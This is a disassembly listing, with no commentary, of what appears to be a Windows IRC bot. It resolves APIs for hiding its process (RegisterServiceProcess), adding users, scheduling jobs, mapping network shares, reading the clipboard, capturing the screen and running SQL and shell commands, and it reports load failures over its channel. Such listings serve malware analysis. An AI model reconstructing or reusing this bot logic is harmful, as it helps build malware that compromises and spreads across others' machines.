		call	sub_412E0D
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_412BB5
		add	esp, 24h
		lea	eax, [ebp+var_200]
		pop	edi
		lea	ecx, [eax+1]
		pop	esi


loc_40465F:				; CODE XREF: sub_4045DD+87j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40465F
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		cmp	[ebp+arg_10], 0
		jz	short locret_40468C
		push	0FAh
		call	ds:dword_41F000

locret_40468C:				; CODE XREF: sub_4045DD+A2j
		leave
		retn
sub_4045DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40468E	proc near		; CODE XREF: sub_40D1EF+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F078
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, ds:dword_41F074
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4047AE
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_433478, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_433490, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4334EC, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_433450, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4334B8, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43349C, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43353C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43342C, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4334C0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4334E4, eax
		call	esi
		cmp	dword_433478, ebx
		mov	dword_433548, eax
		jz	short loc_40478C
		cmp	dword_433490, ebx
		jz	short loc_40478C
		cmp	dword_4334EC, ebx
		jz	short loc_40478C
		cmp	dword_433450, ebx
		jz	short loc_40478C
		cmp	dword_43349C, ebx
		jz	short loc_40478C
		cmp	dword_43353C, ebx
		jz	short loc_40478C
		cmp	dword_43342C, ebx
		jz	short loc_40478C
		cmp	dword_4334C0, ebx
		jz	short loc_40478C
		cmp	dword_4334E4, ebx
		jz	short loc_40478C
		cmp	eax, ebx
		jnz	short loc_404796


loc_40478C:				; CODE XREF: sub_40468E+B8j
					; sub_40468E+C0j ...
		mov	dword_4335F0, 1


loc_404796:				; CODE XREF: sub_40468E+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43359C, eax
		jz	short loc_4047C3
		push	1
		push	ebx
		call	eax
		jmp	short loc_4047C3
; ---------------------------------------------------------------------------


loc_4047AE:				; CODE XREF: sub_40468E+1Dj
		call	ds:dword_41F008
		mov	dword_4335F4, eax
		mov	dword_4335F0, 1


loc_4047C3:				; CODE XREF: sub_40468E+117j
					; sub_40468E+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41F070
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40487E
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_433560, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4334F8, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_433434, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_433498, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43344C, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4335CC, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_433430, eax
		call	esi
		cmp	dword_433560, ebx
		mov	dword_433538, eax
		jz	short loc_404889
		cmp	dword_4334F8, ebx
		jz	short loc_404889
		cmp	dword_433434, ebx
		jz	short loc_404889
		cmp	dword_433498, ebx
		jz	short loc_404889
		cmp	dword_43344C, ebx
		jz	short loc_404889
		cmp	dword_4335CC, ebx
		jz	short loc_404889
		cmp	dword_433430, ebx
		jz	short loc_404889
		cmp	eax, ebx
		jnz	short loc_404893
		jmp	short loc_404889
; ---------------------------------------------------------------------------


loc_40487E:				; CODE XREF: sub_40468E+144j
		call	ds:dword_41F008
		mov	dword_4335FC, eax


loc_404889:				; CODE XREF: sub_40468E+1B8j
					; sub_40468E+1C0j ...
		mov	dword_4335F8, 1


loc_404893:				; CODE XREF: sub_40468E+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404A2E
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4335C8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4334E8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_433484, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_433460, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4334DC, eax
		call	esi
		cmp	dword_4335C8, ebx
		mov	dword_43357C, eax
		jz	short loc_40491E
		cmp	dword_4334E8, ebx
		jz	short loc_40491E
		cmp	dword_433484, ebx
		jz	short loc_40491E
		cmp	dword_433460, ebx
		jz	short loc_40491E
		cmp	dword_4334DC, ebx
		jz	short loc_40491E
		cmp	eax, ebx
		jnz	short loc_404928


loc_40491E:				; CODE XREF: sub_40468E+26Aj
					; sub_40468E+272j ...
		mov	dword_433600, 1


loc_404928:				; CODE XREF: sub_40468E+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4335D4, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4335BC, eax
		call	esi
		cmp	dword_4335D4, ebx
		mov	dword_433508, eax
		jz	short loc_404963
		cmp	dword_4335BC, ebx
		jz	short loc_404963
		cmp	eax, ebx
		jnz	short loc_40496D


loc_404963:				; CODE XREF: sub_40468E+2C7j
					; sub_40468E+2CFj
		mov	dword_433600, 1


loc_40496D:				; CODE XREF: sub_40468E+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43355C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4335D8, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_433564, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_433580, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_433494, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4334D0, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43356C, eax
		call	esi
		cmp	dword_43355C, ebx
		mov	dword_433598, eax
		jz	short loc_404A11
		cmp	dword_4335D8, ebx
		jz	short loc_404A11
		cmp	dword_433564, ebx
		jz	short loc_404A11
		cmp	dword_433580, ebx
		jz	short loc_404A11
		cmp	dword_433494, ebx
		jz	short loc_404A11
		cmp	dword_4334D0, ebx
		jz	short loc_404A11
		cmp	dword_43356C, ebx
		jz	short loc_404A11
		cmp	eax, ebx
		jnz	short loc_404A1B


loc_404A11:				; CODE XREF: sub_40468E+34Dj
					; sub_40468E+355j ...
		mov	dword_433600, 1


loc_404A1B:				; CODE XREF: sub_40468E+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_433530, eax
		jnz	short loc_404A43
		jmp	short loc_404A39
; ---------------------------------------------------------------------------


loc_404A2E:				; CODE XREF: sub_40468E+210j
		call	ds:dword_41F008
		mov	dword_433604, eax


loc_404A39:				; CODE XREF: sub_40468E+39Ej
		mov	dword_433600, 1


loc_404A43:				; CODE XREF: sub_40468E+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404B0F
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4335DC, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4335B0, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_433518, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_433510, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_433554, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43343C, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_433528, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4334CC, eax
		call	esi
		cmp	dword_4335DC, ebx
		mov	dword_43351C, eax
		jz	short loc_404B1A
		cmp	dword_4335B0, ebx
		jz	short loc_404B1A
		cmp	dword_433518, ebx
		jz	short loc_404B1A
		cmp	dword_433510, ebx
		jz	short loc_404B1A
		cmp	dword_433554, ebx
		jz	short loc_404B1A
		cmp	dword_43343C, ebx
		jz	short loc_404B1A
		cmp	dword_433528, ebx
		jz	short loc_404B1A
		cmp	dword_4334CC, ebx
		jz	short loc_404B1A
		cmp	eax, ebx
		jnz	short loc_404B24
		jmp	short loc_404B1A
; ---------------------------------------------------------------------------


loc_404B0F:				; CODE XREF: sub_40468E+3C0j
		call	ds:dword_41F008
		mov	dword_43360C, eax


loc_404B1A:				; CODE XREF: sub_40468E+441j
					; sub_40468E+449j ...
		mov	dword_433608, 1


loc_404B24:				; CODE XREF: sub_40468E+47Dj
		mov	ebp, ds:dword_41F070
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404DE0
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4334B0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_433424, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43352C, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4334F4, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_433574, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_433558, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4335B8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4334A0, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_433444, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_433458, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_433520, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_433514, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4335EC, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4335C4, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_433594, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_433570, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_433534, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_433470, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_433414, eax
		call	esi
		mov	dword_433438, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_433578, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_433544, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4335C0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_433464, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4334BC, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_433418, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4335B4, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_433500, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_433590, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4334E0, eax
		call	esi
		cmp	dword_4334B0, ebx
		mov	dword_4335AC, eax
		jz	loc_404DEB
		cmp	dword_433424, ebx
		jz	loc_404DEB
		cmp	dword_43352C, ebx
		jz	loc_404DEB
		cmp	dword_433574, ebx
		jz	loc_404DEB
		cmp	dword_433558, ebx
		jz	loc_404DEB
		cmp	dword_4335B8, ebx
		jz	loc_404DEB
		cmp	dword_4334A0, ebx
		jz	loc_404DEB
		cmp	dword_433444, ebx
		jz	loc_404DEB
		cmp	dword_433458, ebx
		jz	loc_404DEB
		cmp	dword_433520, ebx
		jz	loc_404DEB
		cmp	dword_433514, ebx
		jz	loc_404DEB
		cmp	dword_4335EC, ebx
		jz	loc_404DEB
		cmp	dword_4335C4, ebx
		jz	loc_404DEB
		cmp	dword_433594, ebx
		jz	short loc_404DEB
		cmp	dword_433534, ebx
		jz	short loc_404DEB
		cmp	dword_433470, ebx
		jz	short loc_404DEB
		cmp	dword_433414, ebx
		jz	short loc_404DEB
		cmp	dword_433438, ebx
		jz	short loc_404DEB
		cmp	dword_433578, ebx
		jz	short loc_404DEB
		cmp	dword_433544, ebx
		jz	short loc_404DEB
		cmp	dword_4335C0, ebx
		jz	short loc_404DEB
		cmp	dword_433464, ebx
		jz	short loc_404DEB
		cmp	dword_4334BC, ebx
		jz	short loc_404DEB
		cmp	dword_433418, ebx
		jz	short loc_404DEB
		cmp	dword_4335B4, ebx
		jz	short loc_404DEB
		cmp	dword_433500, ebx
		jz	short loc_404DEB
		cmp	dword_433590, ebx
		jz	short loc_404DEB
		cmp	eax, ebx
		jnz	short loc_404DF5
		jmp	short loc_404DEB
; ---------------------------------------------------------------------------


loc_404DE0:				; CODE XREF: sub_40468E+4A7j
		call	ds:dword_41F008
		mov	dword_433614, eax


loc_404DEB:				; CODE XREF: sub_40468E+646j
					; sub_40468E+652j ...
		mov	dword_433610, 1


loc_404DF5:				; CODE XREF: sub_40468E+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404EFA
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_433428, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4335E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4334C8, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4335E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4334D4, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_433448, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4334A8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_433420, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43354C, eax
		call	esi
		cmp	dword_433428, ebx
		mov	ecx, dword_433448
		mov	dword_4334FC, eax
		jz	short loc_404ED6
		cmp	dword_4335E8, ebx
		jz	short loc_404ED6
		cmp	dword_4334C8, ebx
		jz	short loc_404ED6
		cmp	dword_4335E4, ebx
		jz	short loc_404ED6
		cmp	dword_4334D4, ebx
		jz	short loc_404ED6
		cmp	ecx, ebx
		jz	short loc_404ED6
		cmp	dword_4334A8, ebx
		jz	short loc_404ED6
		cmp	dword_433420, ebx
		jz	short loc_404ED6
		cmp	dword_43354C, ebx
		jz	short loc_404ED6
		cmp	eax, ebx
		jnz	short loc_404EE0


loc_404ED6:				; CODE XREF: sub_40468E+806j
					; sub_40468E+80Ej ...
		mov	dword_433618, 1


loc_404EE0:				; CODE XREF: sub_40468E+846j
		cmp	ecx, ebx
		jz	short loc_404F15
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4335E0, eax
		jnz	short loc_404F15
		jmp	short loc_404F0F
; ---------------------------------------------------------------------------


loc_404EFA:				; CODE XREF: sub_40468E+772j
		call	ds:dword_41F008
		mov	dword_43361C, eax
		mov	dword_433618, 1


loc_404F0F:				; CODE XREF: sub_40468E+86Aj
		mov	dword_4335E0, ebx


loc_404F15:				; CODE XREF: sub_40468E+854j
					; sub_40468E+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404F5F
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4334F0, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_433524, eax
		call	esi
		cmp	dword_4334F0, ebx
		mov	dword_433588, eax
		jz	short loc_404F6A
		cmp	dword_433524, ebx
		jz	short loc_404F6A
		cmp	eax, ebx
		jnz	short loc_404F74
		jmp	short loc_404F6A
; ---------------------------------------------------------------------------


loc_404F5F:				; CODE XREF: sub_40468E+892j
		call	ds:dword_41F008
		mov	dword_433624, eax


loc_404F6A:				; CODE XREF: sub_40468E+8C1j
					; sub_40468E+8C9j ...
		mov	dword_433620, 1


loc_404F74:				; CODE XREF: sub_40468E+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40506A
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_433488, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4334A4, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4335A0, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_433454, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4334D8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43341C, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43346C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_433568, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_433480, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43348C, eax
		call	esi
		cmp	dword_433488, ebx
		mov	dword_4334B4, eax
		jz	short loc_405075
		cmp	dword_4334A4, ebx
		jz	short loc_405075
		cmp	dword_4335A0, ebx
		jz	short loc_405075
		cmp	dword_433454, ebx
		jz	short loc_405075
		cmp	dword_4334D8, ebx
		jz	short loc_405075
		cmp	dword_43341C, ebx
		jz	short loc_405075
		cmp	dword_43346C, ebx
		jz	short loc_405075
		cmp	dword_433568, ebx
		jz	short loc_405075
		cmp	dword_433480, ebx
		jz	short loc_405075
		cmp	dword_43348C, ebx
		jz	short loc_405075
		cmp	eax, ebx
		jnz	short loc_40507F
		jmp	short loc_405075
; ---------------------------------------------------------------------------


loc_40506A:				; CODE XREF: sub_40468E+8F1j
		call	ds:dword_41F008
		mov	dword_43362C, eax


loc_405075:				; CODE XREF: sub_40468E+98Cj
					; sub_40468E+994j ...
		mov	dword_433628, 1


loc_40507F:				; CODE XREF: sub_40468E+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050B4
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_433584, eax
		call	esi
		cmp	dword_433584, ebx
		mov	dword_433504, eax
		jz	short loc_4050BF
		cmp	eax, ebx
		jnz	short loc_4050C9
		jmp	short loc_4050BF
; ---------------------------------------------------------------------------


loc_4050B4:				; CODE XREF: sub_40468E+9FCj
		call	ds:dword_41F008
		mov	dword_433634, eax


loc_4050BF:				; CODE XREF: sub_40468E+A1Ej
					; sub_40468E+A24j
		mov	dword_433630, 1


loc_4050C9:				; CODE XREF: sub_40468E+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050FE
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4334AC, eax
		call	esi
		cmp	dword_4334AC, ebx
		mov	dword_43350C, eax
		jz	short loc_405109
		cmp	eax, ebx
		jnz	short loc_405113
		jmp	short loc_405109
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: sub_40468E+A46j
		call	ds:dword_41F008
		mov	dword_43363C, eax


loc_405109:				; CODE XREF: sub_40468E+A68j
					; sub_40468E+A6Ej
		mov	dword_433638, 1


loc_405113:				; CODE XREF: sub_40468E+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405172
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_433540, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4335D0, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43347C, eax
		call	esi
		cmp	dword_433540, ebx
		mov	dword_433440, eax
		jz	short loc_40517D
		cmp	dword_4335D0, ebx
		jz	short loc_40517D
		cmp	dword_43347C, ebx
		jz	short loc_40517D
		cmp	eax, ebx
		jnz	short loc_405187
		jmp	short loc_40517D
; ---------------------------------------------------------------------------


loc_405172:				; CODE XREF: sub_40468E+A90j
		call	ds:dword_41F008
		mov	dword_433644, eax


loc_40517D:				; CODE XREF: sub_40468E+ACCj
					; sub_40468E+AD4j ...
		mov	dword_433640, 1


loc_405187:				; CODE XREF: sub_40468E+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4051BC
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4335A8, eax
		call	esi
		cmp	dword_4335A8, ebx
		mov	dword_433474, eax
		jz	short loc_4051C7
		cmp	eax, ebx
		jnz	short loc_4051D1
		jmp	short loc_4051C7
; ---------------------------------------------------------------------------


loc_4051BC:				; CODE XREF: sub_40468E+B04j
		call	ds:dword_41F008
		mov	dword_43364C, eax


loc_4051C7:				; CODE XREF: sub_40468E+B26j
					; sub_40468E+B2Cj
		mov	dword_433648, 1


loc_4051D1:				; CODE XREF: sub_40468E+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40525A
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43358C, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43345C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4335A4, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4334C4, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_433550, eax
		call	esi
		cmp	dword_43358C, ebx
		mov	dword_433468, eax
		jz	short loc_405265
		cmp	dword_43345C, ebx
		jz	short loc_405265
		cmp	dword_4335A4, ebx
		jz	short loc_405265
		cmp	dword_4334C4, ebx
		jz	short loc_405265
		cmp	dword_433550, ebx
		jz	short loc_405265
		cmp	eax, ebx
		jnz	short loc_40526F
		jmp	short loc_405265
; ---------------------------------------------------------------------------


loc_40525A:				; CODE XREF: sub_40468E+B4Ej
		call	ds:dword_41F008
		mov	dword_433654, eax


loc_405265:				; CODE XREF: sub_40468E+BA4j
					; sub_40468E+BACj ...
		mov	dword_433650, 1


loc_40526F:				; CODE XREF: sub_40468E+BC8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_40468E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405277	proc near		; CODE XREF: sub_4078FA+424Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4335F0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4052BF
		push	dword_4335F4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4052BF:				; CODE XREF: sub_405277+1Aj
		cmp	dword_4335F8, esi
		jz	short loc_4052F3
		push	dword_4335FC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4052F3:				; CODE XREF: sub_405277+4Ej
		cmp	dword_433600, esi
		jz	short loc_405327
		push	dword_433604
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_405327:				; CODE XREF: sub_405277+82j
		cmp	dword_433608, esi
		jz	short loc_40535B
		push	dword_43360C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40535B:				; CODE XREF: sub_405277+B6j
		cmp	dword_433610, esi
		jz	short loc_40538F
		push	dword_433614
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40538F:				; CODE XREF: sub_405277+EAj
		cmp	dword_433618, esi
		jz	short loc_4053C3
		push	dword_43361C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4053C3:				; CODE XREF: sub_405277+11Ej
		cmp	dword_433620, esi
		jz	short loc_4053F7
		push	dword_433624
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
